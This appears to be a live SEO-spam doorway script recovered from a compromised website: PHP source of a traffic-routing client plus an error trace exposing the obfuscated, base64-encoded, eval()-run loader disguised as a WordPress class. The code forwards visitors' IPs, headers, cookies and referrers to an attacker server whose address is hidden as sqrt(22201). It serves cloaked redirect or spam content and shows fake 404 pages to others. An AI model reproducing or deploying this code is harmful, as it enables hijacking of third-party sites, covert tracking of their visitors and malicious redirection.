($this->isPrefetchDetected()) { $this->param('prefetch', 1); } } public function currentPageAsReferrer() { $this->referrer($this->_getCurrentPage()); return $this; } public function debug($state = true) { $this->_debug = $state; return $this; } public function seReferrer($seReferrer) { $this->_params['se_referrer'] = $seReferrer; return $this; } public function referrer($referrer) { $this->_params['referrer'] = $referrer; return $this; } public function setHttpClient($httpClient) { $this->_httpClient = $httpClient; return $this; } public function trackerUrl($name) { $this->_trackerUrl = $name; } // @deprecated public function token($token) { return $this->campaignToken($token); } public function campaignToken($campaignToken) { $this->_params['token'] = $campaignToken; return $this; } public function version($version) { $this->_params['version'] = $version; return $this; } public function ua($ua) { $this->_params['ua'] = $ua; return $this; } public function language($language) { $this->_params['language'] = $language; return $this; } public function keyword($keyword) { $this->_params['keyword'] = $keyword; return $this; } public function forceRedirectOffer() { $this->_params['force_redirect_offer'] = 1; } public function ip($ip) { $this->_params['ip'] = $ip; return $this; } public function sendUtmLabels() { foreach ($_GET as $name => $value) { if (strstr($name, 'utm_')) { $this->_params[$name] = $value; } } } public function setLandingToken($token) { $this->_startSession(); $_SESSION['token'] = $token; } public function getSubId() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No sub_id is defined'); return 'no_subid'; } $subId = $result->info->sub_id; return $subId; } public function getToken() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No landing token is defined'); return 'no_token'; } $subId = $result->info->token; return $subId; } public function sendAllParams() { foreach ($_GET as $name => $value) { if (empty($this->_params[$name]) && !in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } } } public function restoreFromSession() { if ($this->isStateRestored()) { return; } $this->_startSession(); if (!empty($_SESSION[self::STATE_SESSION_KEY])) { if ($_SESSION[self::STATE_SESSION_EXPIRES_KEY] < time()) { unset($_SESSION[self::STATE_SESSION_KEY]); unset($_SESSION[self::STATE_SESSION_EXPIRES_KEY]); $this->log('State expired'); } else { $this->_result = json_decode($_SESSION[self::STATE_SESSION_KEY], false); if (isset($this->_result) && isset($this->_result->headers)) { $this->_result->headers = array(); } $this->_stateRestored = true; $this->log('State restored'); } } } public function restoreFromQuery() { if (isset($_GET['_subid'])) { $this->_stateRestored = true; if (empty($this->_result)) { $this->_result = new StdClass(); $this->_result->info = new StdClass(); } $this->_result->info->sub_id = $_GET['_subid']; $this->log('SubId loaded from query'); if (isset($_GET['_token'])) { $this->_result->info->token = $_GET['_token']; $this->log('Landing token loaded from query'); } $this->_storeState($this->_result, self::DEFAULT_TTL); $this->_stateRestored = true; } } public function isStateRestored() { return $this->_stateRestored; } public function isPrefetchDetected() { $checkServerParams = array('HTTP_X_PURPOSE' => 'preview', 'HTTP_X_MOZ' => 'prefetch', 'HTTP_X_FB_HTTP_ENGINE' => 'Liger'); foreach ($checkServerParams as $name => $value) { if (isset($_SERVER[$name]) && $_SERVER[$name] == $value) { return true; } } return false; } public function saveCookie($key, $value, $ttl) { if (isset($_COOKIE[$key]) && $_COOKIE[$key] == $value) { return; } if (!headers_sent()) { setcookie($key, $value, $this->_getCookiesExpireTimestamp($ttl), '/', $this->_getCookieHost()); } $_COOKIE[$key] = $value; } public function param($name, $value) { if (!in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } return $this; } public function params($value) { if (!empty($value)) { if (is_string($value)) { parse_str($value, $result); foreach ($result as $name => $value) { $this->param($name, $value); } } } return $this; } public function reset() { $this->_result = null; } public function performRequest() { if ($this->_result) { return $this->_result; } $request = $this->_buildRequestUrl(); $params = $this->getParams(); $options = $this->_getRequestOptions(); $this->log('Request: ' . $request); try { $result = $this->_httpClient->request($request, $params, $options); $this->log('Response: ' . $result); } catch (KTrafficClientError $e) { if ($this->_debug) { throw $e; } else { return self::ERROR; } } $this->_result = json_decode($result); $this->_storeState( $this->_result, isset($this->_result->cookies_ttl) ? $this->_result->cookies_ttl : null ); if (isset($this->_result->cookies)) { $this->_saveKeitaroCookies($this->_result->cookies , $this->_result->cookies_ttl); } return $this->_result; } public function execute($break = false, $print = true) { $content = $this->getContent(); if ($print) { $headers = $this->sendHeaders(); echo $content; } else { return $content; } if ($break && (!empty($content) || $this->checkHeaders($headers))) { exit; } } public function checkHeaders($headers) { if (empty($headers)) { return; } foreach ($headers as $header) { if (strpos($header, 'Location:') === 0) { return true; } if ($header == 'HTTP/1.1 404 Not Found') { return true; } } return false; } public function getContent() { $result = $this->performRequest(); $content = ''; if (!empty($result)) { if (!empty($result->error)) { $content .= $result->error; } if (!empty($result->body)) { if (isset($result->contentType) && (strstr($result->contentType, 'image') || strstr($result->contentType, 'application/pdf'))) { $content = base64_decode($result->body); } else { $content .= $result->body; } } } return $content; } public function showLog($separator = '
') { echo '
' . implode($separator, $this->getLog()). '
'; } public function log($msg) { if ($this->_debug) { error_log($msg); } $this->_log[] = $msg; } public function getLog() { return $this->_log; } public function executeAndBreak() { $this->execute(true); } public function getParams() { return $this->_params; } private function _storeState($result, $ttl) { $this->_startSession(); $_SESSION[self::STATE_SESSION_KEY] = json_encode($result); $_SESSION[self::STATE_SESSION_EXPIRES_KEY] = time() + ($ttl * 60 * 60); // for back-compatibility purpose if (!empty($result->info)) { if (!empty($result->info->sub_id)) { $_SESSION[self::SESSION_SUB_ID] = $result->info->sub_id; } if (!empty($result->info->token)) { $_SESSION[self::SESSION_LANDING_TOKEN] = $result->info->token; } } } private function _saveKeitaroCookies($cookies, $ttl) { foreach ($cookies as $key => $value) { $this->saveCookie($key, $value, $ttl); } } public function sendHeaders() { $result = $this->performRequest(); $headers = array(); $file = ""; $line = ""; if (headers_sent($file, $line)) { $msg = "Body output already started"; if (!empty($file)) { $msg .= "({$file}:{$line})"; } $this->log($msg); } if (!empty($result->headers)) { foreach ($result->headers as $header) { $headers[] = $header; if (!headers_sent()) { header($header); } } } if (!empty($result->status)) { http_response_code($result->status); } if (!empty($result->contentType)) { $header = 'Content-Type: ' . $result->contentType; $headers[] = $header; if (!headers_sent()) { header($header); } } return $headers; } // @deprecated public function updateHeaders() { $this->sendHeaders(); } public function getOffer($params = array(), $fallback = 'no_offer') { $result = $this->performRequest(); $token = $this->getToken(); if (empty($token)) { $this->log('Campaign hasn\'t returned offer'); return $fallback; } $params['_lp'] = 1; $params['_token'] = $result->info->token; return $this->_buildOfferUrl($params); } public function isBot() { $result = $this->performRequest(); if (isset($result->info)) { return isset($result->info->is_bot) ? $result->info->is_bot : false; } } public function isUnique($level = 'campaign') { $result = $this->performRequest(); if (isset($result->info) && $result->info->uniqueness) { return isset($result->info->uniqueness->$level) ? $result->info->uniqueness->$level : false; } } // @deprecated public function forceChooseOffer() { throw new \Error('forceChooseOffer was removed in KClickClient v3.'); } public function getBody() { $result = $this->performRequest(); return $result->body; } public function getHeaders() { $result = $this->performRequest(); return $result->headers; } private function _startSession() { if (!headers_sent()) { @session_start(); } } private function _buildOfferUrl($params = array()) { $request = parse_url($this->_trackerUrl); $lastChar = substr($request['path'], -1); if ($lastChar != '/' && $lastChar != '\\') { $path = str_replace(basename($request['path']), '', $request['path']); } else { $path = $request['path']; } $path = ltrim($path, "\\\/"); $params = http_build_query($params); return "{$request['scheme']}://{$request['host']}/{$path}?{$params}"; } private function _getCurrentPage() { if ((isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || !empty($_SERVER['HTTPS'])) { $scheme = 'https'; } else { $scheme = 'http'; } return $scheme . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; } private function _buildRequestUrl() { $request = parse_url($this->_trackerUrl); $url = "{$request['scheme']}://{$request['host']}"; if (isset($request['port'])) { $url = ':' . $request['port']; } $url .= "/{$request['path']}"; return $url; } private function _findIp() { $ip = null; $headers = array( 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'X_FORWARDED_FOR', 'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP', 'HTTP_PROXY_CONNECTION'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $tmp = explode(',', $_SERVER[$header]); $ip = trim($tmp[0]); break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER['HTTP_HOST']) && substr_count($_SERVER['HTTP_HOST'], '.') < 3) { $host = '.' . str_replace('www.', '', $_SERVER['HTTP_HOST']); } else { $host = null; } return $host; } private function _getRequestOptions() { $opts = array(); if (isset($_SERVER["HTTP_COOKIE"])) { $opts['cookies'] = preg_replace('/PHPSESSID=.*?;/si', '', $_SERVER["HTTP_COOKIE"]); } return $opts; } } class KHttpClient { const UA = 'KHttpClient'; public function request($url, $params, $opts = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts['cookies']) ? $opts['cookies'] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); $result = curl_exec($ch); if (curl_error($ch)) { throw new KTrafficClientError(curl_error($ch)); } if (empty($result)) { throw new KTrafficClientError('Empty response'); } return $result; } } class KTrafficClientError extends \Exception {} if (!function_exists('http_response_code')) { function http_response_code($code = NULL) { if ($code !== NULL) { switch ($code) { case 100: $text = 'Continue'; break; case 101: $text = 'Switching Protocols'; break; case 200: $text = 'OK'; break; case 201: $text = 'Created'; break; case 202: $text = 'Accepted'; break; case 203: $text = 'Non-Authoritative Information'; break; case 204: $text = 'No Content'; break; case 205: $text = 'Reset Content'; break; case 206: $text = 'Partial Content'; break; case 300: $text = 'Multiple Choices'; break; case 301: $text = 'Moved Permanently'; break; case 302: $text = 'Moved Temporarily'; break; case 303: $text = 'See Other'; break; case 304: $text = 'Not Modified'; break; case 305: $text = 'Use Proxy'; break; case 400: $text = 'Bad Request'; break; case 401: $text = 'Unauthorized'; break; case 402: $text = 'Payment Required'; break; case 403: $text = 'Forbidden'; break; case 404: $text = 'Not Found'; break; case 405: $text = 'Method Not Allowed'; break; case 406: $text = 'Not Acceptable'; break; case 407: $text = 'Proxy Authentication Required'; break; case 408: $text = 'Request Time-out'; break; case 409: $text = 'Conflict'; break; case 410: $text = 'Gone'; break; case 411: $text = 'Length Required'; break; case 412: $text = 'Precondition Failed'; break; case 413: $text = 'Request Entity Too Large'; break; case 414: $text = 'Request-URI Too Large'; break; case 415: $text = 'Unsupported Media Type'; break; case 500: $text = 'Internal Server Error'; break; case 501: $text = 'Not Implemented'; break; case 502: $text = 'Bad Gateway'; break; case 503: $text = 'Service Unavailable'; break; case 504: $text = 'Gateway Time-out'; break; case 505: $text = 'HTTP Version not supported'; break; default: exit('Unknown http status code "' . htmlentities($code) . '"'); break; } $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0'); header($protocol . ' ' . $code . ' ' . $text); $GLOBALS['http_response_code'] = $code; } else { $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200); } return $code; } } if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } $hidd = sqrt(22201); $keys_file_source_enc = file_get_contents($txt_filename.".txt"); $keys_file_source = base64_decode($keys_file_source_enc); $arr_from_file = explode("\n", $keys_file_source); $matching_arr = array(); foreach ($arr_from_file as $line){ $tmp_arr = explode(";", $line); $matching_arr[$tmp_arr[0]]['keyword'] = trim($tmp_arr[1]); $matching_arr[$tmp_arr[0]]['path'] = trim($tmp_arr[2]); } $keyword = $matching_arr[$myfname]['keyword']; $txt_path = $matching_arr[$myfname]['path']; $door_domain = $_SERVER["HTTP_HOST"]; $door_file = $_SERVER['SCRIPT_NAME']; if($keyword){ $client = new KClickClient('http://'.$hidd.'.202.65.142/api.php?', $my_camp_ID); $client->sendAllParams(); $client->forceRedirectOffer(); $client->param('sub_id_1', urlencode($door_domain)); $client->param('sub_id_2', urlencode($door_file)); $client->param('sub_id_3', urlencode($door_tpl)); $client->param('sub_id_4', $_SERVER['HTTP_REFERER']); $client->param('sub_id_5', urlencode($pack_name)); $client->param('sub_id_6', urlencode($txt_path)); $client->param('sub_id_7', urlencode($myfname)); $client->keyword(urlencode($keyword)); $client->currentPageAsReferrer(); if($client->getBody()==""){ $client->executeAndBreak(); } else{ $content_body = preg_replace('||','',$client->getBody()); echo $content_body; } } else{ http_response_code(404); echo ' 404 Not Found

Not Found

The requested URL /'.$myfname.' was not found on this server.

'; die(); } '
)
.../bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function:1

( ! ) Notice: Undefined index: HTTP_REFERER in /home/mytoolsshoppy/public_html/nes.edu.in/zehi/bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function(1) : eval()'d code on line 753
Call Stack
#TimeMemoryFunctionLocation
10.0003362320{main}( ).../bqpj.php:0
20.0012420984__lambda_func( ).../bqpj.php:145
30.0015497616eval( ' $____='printf';$___________='WordPress Class...'; $___ = 'Y3JlYXRlX0ZVTkNUSU9O' ; $______= 'cmV0dXJuIGV2YWwoJF9fXyk7' ; $____ = 'base64_decode'; $___________='DQoJJGRvb3JfdHBsID0gImF1dG9fMjIwN18xIjsNCgkkbXlfY2FtcF9JRCA9ICJXYmNHTG03Yk15R3RmMjQxIjsNCgkkcGFja19uYW1lICA9ICIyMzA3X3ByZWNhY2hlZF9OT1NMQVNIIjsNCgkkdHh0X2ZpbGVuYW1lICA9ICJicXBqIjsNCgkNCg0KJG15X2dldF9hcnIgPSBhcnJheV92YWx1ZXMoJF9HRVQpOw0KJG15Zm5hbWUgPSAkbXlfZ2V0X2FyclswXTsNCgkNCmNsYXNzIEtDbGlja0NsaWVudA0Kew0KICAgIGNvbnN0IFNFU1NJT05fU1VCX0lEID0gJ3N1Yl9pZCc7DQogICAgY29uc3QgU0VTU0lPTl9MQU5ESU5HX1RPS0VOID0gJ2xhbmRpbmdfdG9rZW4nOw0KICAgIC8qKiBAdmVyc2lvbiAzLjUgKiovDQogICAgY29uc3QgVkVSU0lPTiA9IDM7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9LRVkgPSAna2VpdGFyb19zdGF0ZSc7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWSA9ICdrZWl0YXJvX3N0YXRlX2V4cGlyZXMnOw0KICAgIGNvbnN0IERFRkFVTFRfVFRMID0gMTsNCiAgICAvKioNCiAgICAgKiBAdmFyIEtIdHRwQ2xpZW50DQogICAgICovDQogICAgcHJpdmF0ZSAkX2h0dHBDbGllbnQ7DQogICAgcHJpdmF0ZSAkX2RlYnVnID0gZmFsc2U7DQogICAgcHJpdmF0ZSAkX3RyYWNrZXJVcmw7DQogICAgcHJpdmF0ZSAkX3BhcmFtcyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2xvZyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2V4Y2x1ZGVQYXJhbXMgPSBhcnJheSgnYXBpX2tleScsICd0b2tlbicsICdsYW5ndWFnZScsICd1YScsICdpcCcsICdyZWZlcnJlcicsICdmb3JjZV9yZWRpcmVjdF9vZmZlcicpOw0KICAgIHByaXZhdGUgJF9yZXN1bHQ7DQogICAgcHJpdmF0ZSAkX3N0YXRlUmVzdG9yZWQ7DQoNCiAgICBjb25zdCBFUlJPUiA9ICdbS1RyYWZmaWNDbGllbnRdIFNvbWV0aGluZyBpcyB3cm9uZy4gRW5hYmxlIGRlYnVnIG1vZGUgdG8gc2VlIHRoZSByZWFzb24uJzsNCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHJhY2tlclVybCwgJHRva2VuKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnRyYWNrZXJVcmwoJHRyYWNrZXJVcmwpOw0KICAgICAgICAkdGhpcy0+Y2FtcGFpZ25Ub2tlbigkdG9rZW4pOw0KICAgICAgICAkdGhpcy0+dmVyc2lvbihzZWxmOjpWRVJTSU9OKTsNCiAgICAgICAgJHRoaXMtPnBhcmFtKCdpbmZvJywgMSk7DQogICAgICAgICR0aGlzLT5maWxsUGFyYW1zKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGZpbGxQYXJhbXMoKQ0KICAgIHsNCiAgICAgICAgJHJlZmVycmVyID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6IG51bGw7DQogICAgICAgICR0aGlzLT5zZXRIdHRwQ2xpZW50KG5ldyBLSHR0cENsaWVudCgpKTsNCg0KICAgICAgICAkdGhpcy0+aXAoJHRoaXMtPl9maW5kSXAoKSkNCiAgICAgICAgICAgIC0+dWEoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6IG51bGwpDQogICAgICAgICAgICAtPmxhbmd1YWdlKChpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpIDogJycpKQ0KICAgICAgICAgICAgLT5zZVJlZmVycmVyKCRyZWZlcnJlcikNCiAgICAgICAgICAgIC0+cmVmZXJyZXIoJHJlZmVycmVyKQ0KICAgICAgICAgICAgLT5wYXJhbSgnb3JpZ2luYWxfaGVhZGVycycsIGdldGFsbGhlYWRlcnMoKSkNCiAgICAgICAgICAgIC0+cGFyYW0oJ29yaWdpbmFsX2hvc3QnLCBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJ2xvY2FsaG9zdCcpDQogICAgICAgICAgICAtPnBhcmFtKCdrdmVyc2lvbicsICczLjQnKTsNCg0KICAgICAgICBpZiAoJHRoaXMtPmlzUHJlZmV0Y2hEZXRlY3RlZCgpKSB7DQogICAgICAgICAgICAkdGhpcy0+cGFyYW0oJ3ByZWZldGNoJywgMSk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY3VycmVudFBhZ2VBc1JlZmVycmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5yZWZlcnJlcigkdGhpcy0+X2dldEN1cnJlbnRQYWdlKCkpOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGRlYnVnKCRzdGF0ZSA9IHRydWUpDQogICAgew0KICAgICAgICAkdGhpcy0+X2RlYnVnID0gJHN0YXRlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNlUmVmZXJyZXIoJHNlUmVmZXJyZXIpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1snc2VfcmVmZXJyZXInXSA9ICRzZVJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlZmVycmVyKCRyZWZlcnJlcikNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydyZWZlcnJlciddID0gJHJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNldEh0dHBDbGllbnQoJGh0dHBDbGllbnQpDQogICAgew0KICAgICAgICAkdGhpcy0+X2h0dHBDbGllbnQgPSAkaHR0cENsaWVudDsNCiAgICAgICAgcmV0dXJuICR0aGlzOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiB0cmFja2VyVXJsKCRuYW1lKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl90cmFja2VyVXJsID0gJG5hbWU7DQogICAgfQ0KDQogICAgLy8gQGRlcHJlY2F0ZWQNCiAgICBwdWJsaWMgZnVuY3Rpb24gdG9rZW4oJHRva2VuKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5jYW1wYWlnblRva2VuKCR0b2tlbik7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGNhbXBhaWduVG9rZW4oJGNhbXBhaWduVG9rZW4pDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sndG9rZW4nXSA9ICRjYW1wYWlnblRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiB2ZXJzaW9uKCR2ZXJzaW9uKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ3ZlcnNpb24nXSA9ICR2ZXJzaW9uOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHVhKCR1YSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWyd1YSddID0gJHVhOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGxhbmd1YWdlKCRsYW5ndWFnZSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydsYW5ndWFnZSddID0gJGxhbmd1YWdlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGtleXdvcmQoJGtleXdvcmQpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sna2V5d29yZCddID0gJGtleXdvcmQ7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZm9yY2VSZWRpcmVjdE9mZmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydmb3JjZV9yZWRpcmVjdF9vZmZlciddID0gMTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXAoJGlwKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ2lwJ10gPSAkaXA7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZFV0bUxhYmVscygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChzdHJzdHIoJG5hbWUsICd1dG1fJykpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3BhcmFtc1skbmFtZV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZGluZ1Rva2VuKCR0b2tlbikNCiAgICB7DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgICRfU0VTU0lPTlsndG9rZW4nXSA9ICR0b2tlbjsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U3ViSWQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gc3ViX2lkIGlzIGRlZmluZWQnKTsNCiAgICAgICAgICAgIHJldHVybiAnbm9fc3ViaWQnOw0KICAgICAgICB9DQogICAgICAgICRzdWJJZCA9ICRyZXN1bHQtPmluZm8tPnN1Yl9pZDsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VG9rZW4oKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gbGFuZGluZyB0b2tlbiBpcyBkZWZpbmVkJyk7DQogICAgICAgICAgICByZXR1cm4gJ25vX3Rva2VuJzsNCiAgICAgICAgfQ0KICAgICAgICAkc3ViSWQgPSAkcmVzdWx0LT5pbmZvLT50b2tlbjsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEFsbFBhcmFtcygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3BhcmFtc1skbmFtZV0pICYmICFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5fcGFyYW1zWyRuYW1lXSA9ICR2YWx1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0b3JlRnJvbVNlc3Npb24oKQ0KICAgIHsNCiAgICAgICAgaWYgKCR0aGlzLT5pc1N0YXRlUmVzdG9yZWQoKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgIGlmICghZW1wdHkoJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSkpIHsNCiAgICAgICAgICAgIGlmICgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPCB0aW1lKCkpIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldKTsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0pOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIGV4cGlyZWQnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBqc29uX2RlY29kZSgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldLCBmYWxzZSk7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT5fcmVzdWx0KSAmJiBpc3NldCgkdGhpcy0+X3Jlc3VsdC0+aGVhZGVycykpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmhlYWRlcnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGhpcy0+X3N0YXRlUmVzdG9yZWQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIHJlc3RvcmVkJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdG9yZUZyb21RdWVyeSgpDQogICAgew0KICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ19zdWJpZCddKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3Jlc3VsdCkpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdCA9IG5ldyBTdGRDbGFzcygpOw0KICAgICAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LT5pbmZvID0gbmV3IFN0ZENsYXNzKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdC0+aW5mby0+c3ViX2lkID0gJF9HRVRbJ19zdWJpZCddOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnU3ViSWQgbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnX3Rva2VuJ10pKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmluZm8tPnRva2VuID0gJF9HRVRbJ190b2tlbiddOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ0xhbmRpbmcgdG9rZW4gbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgkdGhpcy0+X3Jlc3VsdCwgc2VsZjo6REVGQVVMVF9UVEwpOw0KICAgICAgICAgICAgJHRoa